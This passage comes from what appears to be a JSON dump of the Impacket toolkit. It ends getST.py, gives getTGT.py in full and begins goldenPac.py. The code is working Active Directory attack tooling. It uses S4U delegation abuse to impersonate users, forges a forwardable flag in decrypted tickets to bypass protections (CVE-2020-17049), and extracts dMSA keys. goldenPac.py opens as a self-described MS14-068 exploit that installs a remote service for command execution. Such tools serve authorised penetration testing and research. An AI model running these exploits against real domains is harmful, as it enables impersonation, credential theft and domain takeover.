      encoded_flags = encodeFlags(dmsa_flags)\n            \n            s4uID = S4UUserID()\n            s4uID.setComponentByName('nonce', nonce_value)\n            seq_set(s4uID, 'cname', clientName.components_to_asn1)\n            s4uID.setComponentByName('crealm', self.__domain) \n            s4uID.setComponentByName('options', encoded_flags)\n\n            encoded_s4uid = encoder.encode(s4uID)\n            checksum_profile = _get_checksum_profile(Cksumtype.SHA1_AES256)\n            checkSum = checksum_profile.checksum(\n                sessionKey, \n                ApplicationTagNumbers.EncTGSRepPart.value,\n                encoded_s4uid\n            )\n            if logging.getLogger().level == logging.DEBUG:\n                logging.debug('CheckSum')\n                hexdump(checkSum)\n            s4uID_tagged = S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))\n            s4uID_tagged.setComponentByName('nonce', nonce_value)\n            seq_set(s4uID_tagged, 'cname', clientName.components_to_asn1)\n            s4uID_tagged.setComponentByName('crealm', self.__domain) \n            s4uID_tagged.setComponentByName('options', encoded_flags)\n\n            pa_s4u_x509_user = PA_S4U_X509_USER()\n            pa_s4u_x509_user.setComponentByName('user-id', s4uID_tagged)\n            pa_s4u_x509_user['checksum'] = noValue\n            pa_s4u_x509_user['checksum']['cksumtype'] = Cksumtype.SHA1_AES256\n            pa_s4u_x509_user['checksum']['checksum'] = checkSum\n\n            if logging.getLogger().level == logging.DEBUG:\n                logging.debug('Built PA_S4U_X509_USER for DMSA:')\n                print(pa_s4u_x509_user.prettyPrint())\n\n            padatatype = int(constants.PreAuthenticationDataTypes.PA_S4U_X509_USER.value)\n            paencoded = encoder.encode(pa_s4u_x509_user)\n        else:\n            # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash\n            # with the following three parameters: the session key of the TGT of\n            # the service performing the S4U2Self request, the message type value\n            # of 17, and the byte array S4UByteArray.\n            checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)\n\n            if logging.getLogger().level == logging.DEBUG:\n                logging.debug('CheckSum')\n                hexdump(checkSum)\n\n            paForUserEnc = PA_FOR_USER_ENC()\n            seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)\n            paForUserEnc['userRealm'] = self.__domain\n            paForUserEnc['cksum'] = noValue\n            paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)\n            paForUserEnc['cksum']['checksum'] = checkSum\n            paForUserEnc['auth-package'] = 'Kerberos'\n\n            if logging.getLogger().level == logging.DEBUG:\n                logging.debug('PA_FOR_USER_ENC')\n                print(paForUserEnc.prettyPrint())\n\n            encodedPaForUserEnc = encoder.encode(paForUserEnc)\n            padatatype = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)\n            paencoded = encodedPaForUserEnc\n\n        tgsReq['padata'][1] = noValue\n        tgsReq['padata'][1]['padata-type'] = padatatype\n        tgsReq['padata'][1]['padata-value'] = paencoded\n\n        reqBody = seq_set(tgsReq, 'req-body')\n\n        opts = list()\n        opts.append(constants.KDCOptions.forwardable.value)\n        opts.append(constants.KDCOptions.renewable.value)\n        opts.append(constants.KDCOptions.canonicalize.value)\n\n\n        if self.__options.u2u:\n            opts.append(constants.KDCOptions.renewable_ok.value)\n            opts.append(constants.KDCOptions.enc_tkt_in_skey.value)\n\n        reqBody['kdc-options'] = constants.encodeFlags(opts)\n\n        if self.__no_s4u2proxy and self.__options.spn is not None:\n            logging.info(\"When doing S4U2self only, argument -spn is ignored\")\n\n        if self.__dmsa:\n            serverName = Principal('krbtgt/%s' % self.__domain, type=constants.PrincipalNameType.NT_SRV_INST.value)\n            logging.debug('DMSA: Targeting krbtgt/%s service (sname)' % self.__domain)            \n        elif self.__options.u2u:\n            serverName = Principal(self.__user, self.__domain.upper(), type=constants.PrincipalNameType.NT_UNKNOWN.value)\n        else:\n            serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)\n\n        seq_set(reqBody, 'sname', serverName.components_to_asn1)\n        reqBody['realm'] = str(decodedTGT['crealm'])\n\n        now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n\n        reqBody['till'] = KerberosTime.to_asn1(now)\n        reqBody['nonce'] = random.getrandbits(31)\n        seq_set_iter(reqBody, 'etype',\n                     (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))\n\n        if self.__options.u2u:\n            seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),))\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('Final TGS')\n            print(tgsReq.prettyPrint())\n\n        logging.info('Requesting S4U2self%s' % ('+U2U' if self.__options.u2u else ''))\n        message = encoder.encode(tgsReq)\n\n        r = sendReceive(message, self.__domain, kdcHost)\n\n        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]\n\n        if self.__dmsa:\n            try:\n                # Decrypt TGS-REP enc-part (Key Usage 8 - TGS_REP_EP_SESSION_KEY)\n                cipher = _enctype_table[int(tgs['enc-part']['etype'])]\n                plainText = cipher.decrypt(sessionKey, 8, tgs['enc-part']['cipher'])\n                encTgsRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]\n                \n                if logging.getLogger().level == logging.DEBUG:\n                    print(encTgsRepPart.prettyPrint())\n                \n                if 'encrypted_pa_data' not in encTgsRepPart or not encTgsRepPart['encrypted_pa_data']:\n                    logging.debug('No encrypted_pa_data found - DMSA key package not present')\n                    return\n                    \n                logging.debug('Found encrypted_pa_data, searching for DMSA key package...')\n                \n                for padata_entry in encTgsRepPart['encrypted_pa_data']:\n                    padata_type = int(padata_entry['padata-type'])\n                    logging.debug('Found encrypted padata type: %d (0x%x)' % (padata_type, padata_type))\n                    \n                    if padata_type == constants.PreAuthenticationDataTypes.KERB_DMSA_KEY_PACKAGE.value:\n                        dmsa_key_package = decoder.decode(\n                            padata_entry['padata-value'], \n                            asn1Spec=KERB_DMSA_KEY_PACKAGE()\n                        )[0]\n                        dmsa_key_package.prettyPrint()\n                       \n                        logging.info('Current keys:')\n                        for key in dmsa_key_package['current-keys']:\n                            key_type = int(key['keytype'])\n                            key_value = bytes(key['keyvalue'])\n                            type_name = constants.EncryptionTypes(key_type)\n                            hex_key = hexlify(key_value).decode('utf-8')\n                            logging.info('%s:%s' % (type_name, hex_key))\n                        logging.info('Previous keys:')\n                        for key in dmsa_key_package['previous-keys']:\n                            key_type = int(key['keytype'])\n                            key_value = bytes(key['keyvalue'])\n                            type_name = constants.EncryptionTypes(key_type)\n                            hex_key = hexlify(key_value).decode('utf-8')\n                            logging.info('%s:%s' % (type_name, hex_key))\n            \n            except Exception as e:\n                if logging.getLogger().level == logging.DEBUG:\n                    import traceback\n                    traceback.print_exc()\n\n        if self.__no_s4u2proxy:\n            return r, None, sessionKey, None\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('TGS_REP')\n            print(tgs.prettyPrint())\n\n        if self.__force_forwardable:\n            # Convert hashes to binary form, just in case we're receiving strings\n            if isinstance(nthash, str):\n                try:\n                    nthash = unhexlify(nthash)\n                except TypeError:\n                    pass\n            if isinstance(aesKey, str):\n                try:\n                    aesKey = unhexlify(aesKey)\n                except TypeError:\n                    pass\n\n            # Compute NTHash and AESKey if they're not provided in arguments\n            if self.__password != '' and self.__domain != '' and self.__user != '':\n                if not nthash:\n                    nthash = compute_nthash(self.__password)\n                    if logging.getLogger().level == logging.DEBUG:\n                        logging.debug('NTHash')\n                        print(hexlify(nthash).decode())\n                if not aesKey:\n                    salt = self.__domain.upper() + self.__user\n                    aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents\n                    if logging.getLogger().level == logging.DEBUG:\n                        logging.debug('AESKey')\n                        print(hexlify(aesKey).decode())\n\n            # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys\n            cipherText = tgs['ticket']['enc-part']['cipher']\n\n            # Check which cipher was used to encrypt the ticket. It's not always the same\n            # This determines which of our keys we should use for decryption/re-encryption\n            newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]\n            if newCipher.enctype == Enctype.RC4:\n                key = Key(newCipher.enctype, nthash)\n            else:\n                key = Key(newCipher.enctype, aesKey)\n\n            # Decrypt and decode the ticket\n            # Key Usage 2\n            # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or\n            #  application session key), encrypted with the service key\n            #  (section 5.4.2)\n            plainText = newCipher.decrypt(key, 2, cipherText)\n            encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]\n\n            # Print the flags in the ticket before modification\n            logging.debug('\\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))\n            logging.debug('\\tService ticket from S4U2self is'\n                          + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')\n                          + ' forwardable')\n\n            # Customize flags the forwardable flag is the only one that really matters\n            logging.info('\\tForcing the service ticket to be forwardable')\n            # convert to string of bits\n            flagBits = encTicketPart['flags'].asBinary()\n            # Set the forwardable flag. Awkward binary string insertion\n            flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]\n            # Overwrite the value with the new bits\n            encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits)  # Update flags\n\n            logging.debug('\\tService ticket flags after modification: ' + str(encTicketPart['flags']))\n            logging.debug('\\tService ticket now is'\n                          + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')\n                          + ' forwardable')\n\n            # Re-encode and re-encrypt the ticket\n            # Again, Key Usage 2\n            encodedEncTicketPart = encoder.encode(encTicketPart)\n            cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)\n\n            # put it back in the TGS\n            tgs['ticket']['enc-part']['cipher'] = cipherText\n\n        ################################################################################\n        # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy\n        # So here I have a ST for me.. I now want a ST for another service\n        # Extract the ticket from the TGT\n        ticketTGT = Ticket()\n        ticketTGT.from_asn1(decodedTGT['ticket'])\n\n        # Get the service ticket\n        ticket = Ticket()\n        ticket.from_asn1(tgs['ticket'])\n\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = list()\n        apReq['ap-options'] = constants.encodeFlags(opts)\n        seq_set(apReq, 'ticket', ticketTGT.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = str(decodedTGT['crealm'])\n\n        clientName = Principal()\n        clientName.from_asn1(decodedTGT, 'crealm', 'cname')\n\n        seq_set(authenticator, 'cname', clientName.components_to_asn1)\n\n        now = datetime.datetime.now(datetime.timezone.utc)\n        authenticator['cusec'] = now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 7\n        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes\n        # TGS authenticator subkey), encrypted with the TGS session\n        # key (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n        encodedApReq = encoder.encode(apReq)\n\n        tgsReq = TGS_REQ()\n\n        tgsReq['pvno'] = 5\n        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)\n        tgsReq['padata'] = noValue\n        tgsReq['padata'][0] = noValue\n        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)\n        tgsReq['padata'][0]['padata-value'] = encodedApReq\n\n        # Add resource-based constrained delegation support\n        paPacOptions = PA_PAC_OPTIONS()\n        paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))\n\n        tgsReq['padata'][1] = noValue\n        tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value\n        tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)\n\n        reqBody = seq_set(tgsReq, 'req-body')\n\n        opts = list()\n        # This specified we're doing S4U\n        opts.append(constants.KDCOptions.cname_in_addl_tkt.value)\n        opts.append(constants.KDCOptions.canonicalize.value)\n        opts.append(constants.KDCOptions.forwardable.value)\n        opts.append(constants.KDCOptions.renewable.value)\n\n        reqBody['kdc-options'] = constants.encodeFlags(opts)\n        service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)\n        seq_set(reqBody, 'sname', service2.components_to_asn1)\n        reqBody['realm'] = self.__domain\n\n        myTicket = ticket.to_asn1(TicketAsn1())\n        seq_set_iter(reqBody, 'additional-tickets', (myTicket,))\n\n        now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n\n        reqBody['till'] = KerberosTime.to_asn1(now)\n        reqBody['nonce'] = random.getrandbits(31)\n        seq_set_iter(reqBody, 'etype',\n                     (\n                         int(constants.EncryptionTypes.rc4_hmac.value),\n                         int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),\n                         int(constants.EncryptionTypes.des_cbc_md5.value),\n                         int(cipher.enctype)\n                     )\n                     )\n        message = encoder.encode(tgsReq)\n\n        logging.info('Requesting S4U2Proxy')\n        r = sendReceive(message, self.__domain, kdcHost)\n        return r, None, sessionKey, None\n\n    def run(self):\n        tgt = None\n\n        # Do we have a TGT cached?\n        domain, _, TGT, _ = CCache.parseFile(self.__domain)\n\n        # ToDo: Check this TGT belogns to the right principal\n        if TGT is not None:\n            tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']\n            oldSessionKey = sessionKey\n            \n        if tgt is None:\n            # Still no TGT\n            userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n            logging.info('Getting TGT for user')\n            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,\n                                                                    unhexlify(self.__lmhash), unhexlify(self.__nthash),\n                                                                    self.__aesKey,\n                                                                    self.__kdcHost)\n            logging.debug(\"TGT session key: %s\" % hexlify(sessionKey.contents).decode())\n\n        # Ok, we have valid TGT, let's try to get a service ticket\n        if self.__options.impersonate is None:\n\n            if self.__options.renew is True:\n                logging.info(\"Renewing TGT\")\n\n            # Normal TGS interaction\n            else:\n                logging.info('Getting ST for user')\n\n            serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)\n            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, self.__options.renew)\n            self.__saveFileName = self.__user\n        else:\n            # Here's the rock'n'roll\n            try:\n                logging.info('Impersonating %s' % self.__options.impersonate)\n                # Editing below to pass hashes for decryption\n                if self.__additional_ticket is not None:\n                    tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,\n                                                                                                  self.__kdcHost, self.__additional_ticket)\n                else:\n                    tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)\n            except Exception as e:\n                logging.debug(\"Exception\", exc_info=True)\n                logging.error(str(e))\n                if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:\n                    logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)\n                if str(e).find('KDC_ERR_BADOPTION') >= 0:\n                    logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)\n\n                return\n            self.__saveFileName = self.__options.impersonate\n\n        self.saveTicket(tgs, oldSessionKey)\n\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Given a password, hash or aesKey, it will request a \"\n                                                                \"Service Ticket and save it as ccache\")\n    parser.add_argument('identity', action='store', help='[domain/]username[:password]')\n    parser.add_argument('-spn', action=\"store\", help='SPN (service/server) of the target service the '\n                                                     'service ticket will' ' be generated for')\n    parser.add_argument('-altservice', action=\"store\", help='New sname/SPN to set in the ticket')\n    parser.add_argument('-dmsa', action='store_true', help='Use DMSA (Delegated Managed Service Accounts) ')\n    parser.add_argument('-impersonate', action=\"store\", help='target username that will be impersonated (thru S4U2Self)'\n                                                             ' for quering the ST. Keep in mind this will only work if '\n                                                             'the identity provided in this scripts is allowed for '\n                                                             'delegation to the SPN specified')\n    parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-u2u', dest='u2u', action='store_true', help='Request User-to-User ticket')\n    parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy')\n    parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through '\n                                                                        'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '\n                                                                        'specified -identity should be provided. This allows impresonation of protected users '\n                                                                        'and bypass of \"Kerberos-only\" constrained delegation restrictions. See CVE-2020-17049')\n    parser.add_argument('-renew', action='store_true', help='Sets the RENEW ticket option to renew the TGT used for authentication. Set -spn to \\'krbtgt/DOMAINFQDN\\'')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                                                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                          '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\", help='IP Address of the domain controller. If '\n                                                                            'omitted it use the domain part (FQDN) specified in the target parameter')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        print(\"\\nExamples: \")\n        print(\"\\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\\n\")\n        print(\"\\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked\")\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    if not options.no_s4u2proxy and options.spn is None:\n        parser.error(\"argument -spn is required, except when -self is set\")\n\n    if options.no_s4u2proxy and options.impersonate is None:\n        parser.error(\"argument -impersonate is required when doing S4U2self\")\n\n    if options.no_s4u2proxy and options.altservice is not None:\n        if '/' not in options.altservice:\n            parser.error(\"When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)\")\n\n    if options.additional_ticket is not None and options.impersonate is None:\n        parser.error(\"argument -impersonate is required when doing S4U2proxy\")\n\n    if options.u2u is not None and (options.no_s4u2proxy is None and options.impersonate is None):\n        parser.error(\"-u2u is not implemented yet without being combined to S4U. Can't obtain a plain User-to-User ticket\")\n        # implementing plain u2u would need to modify the getKerberosTGS() function and add a switch\n        # in case of u2u, the proper flags should be added in the request, as well as a proper S_PRINCIPAL structure with the domain being set in order to target a UPN\n        # the request would also need to embed an additional-ticket (the target user's TGT)\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, options.k = parse_identity(options.identity, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    try:\n        executer = GETST(username, password, domain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n\n            traceback.print_exc()\n        print(str(e))\n"
  },
  {
    "path": "examples/getTGT.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Given a password, hash or aesKey, it will request a TGT and save it as ccache\n#\n#   Examples:\n#       ./getTGT.py -hashes lm:nt contoso.com/user\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport logging\nimport sys\nfrom binascii import unhexlify\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity\nfrom impacket.krb5.kerberosv5 import getKerberosTGT\nfrom impacket.krb5 import constants\nfrom impacket.krb5.types import Principal\n\n\nclass GETTGT:\n    def __init__(self, target, password, domain, options):\n        self.__password = password\n        self.__user= target\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = options.aesKey\n        self.__options = options\n        self.__kdcHost = options.dc_ip\n        self.__service = options.service\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def saveTicket(self, ticket, sessionKey):\n        logging.info('Saving ticket in %s' % (self.__user + '.ccache'))\n        from impacket.krb5.ccache import CCache\n        ccache = CCache()\n\n        ccache.fromTGT(ticket, sessionKey, sessionKey)\n        ccache.saveFile(self.__user + '.ccache')\n\n    def run(self):\n        userName = Principal(self.__user, type=options.principalType.value)\n        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName = userName,\n                                                                password = self.__password,\n                                                                domain = self.__domain,\n                                                                lmhash = unhexlify(self.__lmhash),\n                                                                nthash = unhexlify(self.__nthash),\n                                                                aesKey = self.__aesKey,\n                                                                kdcHost = self.__kdcHost,\n                                                                serverName = self.__service)\n        self.saveTicket(tgt,oldSessionKey)\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Given a password, hash or aesKey, it will request a \"\n                                                                \"TGT and save it as ccache\")\n    parser.add_argument('identity', action='store', help='[domain/]username[:password]')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-service', action='store', metavar=\"SPN\", help='Request a Service Ticket directly through an AS-REQ')\n    group.add_argument('-principalType', nargs=\"?\", type=lambda value: constants.PrincipalNameType[value.upper()] if value.upper() in constants.PrincipalNameType.__members__ else None,  action='store', default=constants.PrincipalNameType.NT_PRINCIPAL, help='PrincipalType of the token, can be one of  NT_UNKNOWN, NT_PRINCIPAL, NT_SRV_INST, NT_SRV_HST, NT_SRV_XHST, NT_UID, NT_SMTP_NAME, NT_ENTERPRISE, NT_WELLKNOWN, NT_SRV_HST_DOMAIN, NT_MS_PRINCIPAL, NT_MS_PRINCIPAL_AND_ID, NT_ENT_PRINCIPAL_AND_ID; default is NT_PRINCIPAL, ')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        print(\"\\nExamples: \")\n        print(\"\\t./getTGT.py -hashes lm:nt contoso.com/user\\n\")\n        print(\"\\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked\")\n        sys.exit(1)\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, options.k = parse_identity(options.identity, options.hashes, options.no_pass, options.aesKey, options.k)\n    \n    if domain is None:\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    if options.principalType is None:\n        logging.critical('Invalid principalType!')\n        sys.exit(1)\n\n    try:\n        executer = GETTGT(username, password, domain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        print(str(e))\n"
  },
  {
    "path": "examples/goldenPac.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first!\n#   Well done :).\n#   This one also established a SMBConnection and PSEXEcs the\n#   target.\n#   A few important things:\n#   1) you must use the domain FQDN or use -dc-ip switch\n#   2) target must be a FQDN as well and matching the target's NetBIOS\n#   3) Just RC4 at the moment - DONE (aes256 added)\n#   4) It won't work on Kerberos-only Domains (but can be fixed)\n#   5) Use WMIEXEC approach instead\n#\n#   E.G:\n#       python goldenPac domain.net/normaluser@domain-host\n#       the password will be asked, or\n#\n#       python goldenPac.py domain.net/normaluser:mypwd@domain-host\n#\n#       if domain.net and/or domain-host do not resolve, add them\n#       to the hosts file or use the -dc-ip and -target-ip parameters\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport cmd\nimport logging\nimport os\nimport random\nimport string\nimport time\nfrom binascii import unhexlify\nfrom threading import Thread, Lock\nfrom six import PY3\n\nfrom impacket.dcerpc.v5 import epm\nfrom impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \\\n    DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \\\n    NULLGUID\nfrom impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED\nfrom impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2\nfrom impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES\nfrom impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx\nfrom impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY\nfrom impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \\\n    PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \\\n    PAC_PRIVSVR_CHECKSUM, PACTYPE\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.examples import remcomsvc, serviceinstall\nfrom impacket.smbconnection import SMBConnection, smb\nfrom impacket.structure import Structure\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\n\nclass RemComMessage(Structure):\n    structure = (\n        ('Command','4096s=\"\"'),\n        ('WorkingDir','260s=\"\"'),\n        ('Priority','<L=0x20'),\n        ('ProcessID','<L=0x01'),\n        ('Machine','260s=\"\"'),\n        ('NoWait','<L=0'),\n    )\n\nclass RemComResponse(Structure):\n    structure = (\n        ('ErrorCode','<L=0'),\n        ('ReturnCode','<L=0'),\n    )\n\nRemComSTDOUT         = \"RemCom_stdout\"\nRemComSTDIN          = \"RemCom_stdin\"\nRemComSTDERR         = \"RemCom_stderr\"\n\nlock = Lock()\n\nclass PSEXEC:\n    def __init__(self, command, username, domain, smbConnection, TGS, copyFile):\n        self.__username = username\n        self.__command = command\n        self.__path = None\n        self.__domain = domain\n        self.__exeFile = None\n        self.__copyFile = copyFile\n        self.__TGS = TGS\n        self.__smbConnection = smbConnection\n\n    def run(self, addr):\n        rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)\n        dce = rpctransport.get_dce_rpc()\n        try:\n            dce.connect()\n        except Exception as e:\n            logging.critical(str(e))\n            sys.exit(1)\n\n        global dialect\n        dialect = rpctransport.get_smb_connection().getDialect()\n\n        try:\n            unInstalled = False\n            s = rpctransport.get_smb_connection()\n\n            # We don't wanna deal with timeouts from now on.\n            s.setTimeout(100000)\n            if self.__exeFile is None:\n                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())\n            else:\n                try:\n                    f = open(self.__exeFile, 'rb')\n                except Exception as e:\n                    logging.critical(str(e))\n                    sys.exit(1)\n                installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)\n    \n            installService.install()\n\n            if self.__exeFile is not None:\n                f.close()\n\n            # Check if we need to copy a file for execution\n            if self.__copyFile is not None:\n                installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))\n                # And we change the command to be executed to this filename\n                self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command\n\n            tid = s.connectTree('IPC$')\n            fid_main = self.openPipe(s,tid,r'\\RemCom_communicaton',0x12019f)\n\n            packet = RemComMessage()\n            pid = os.getpid()\n\n            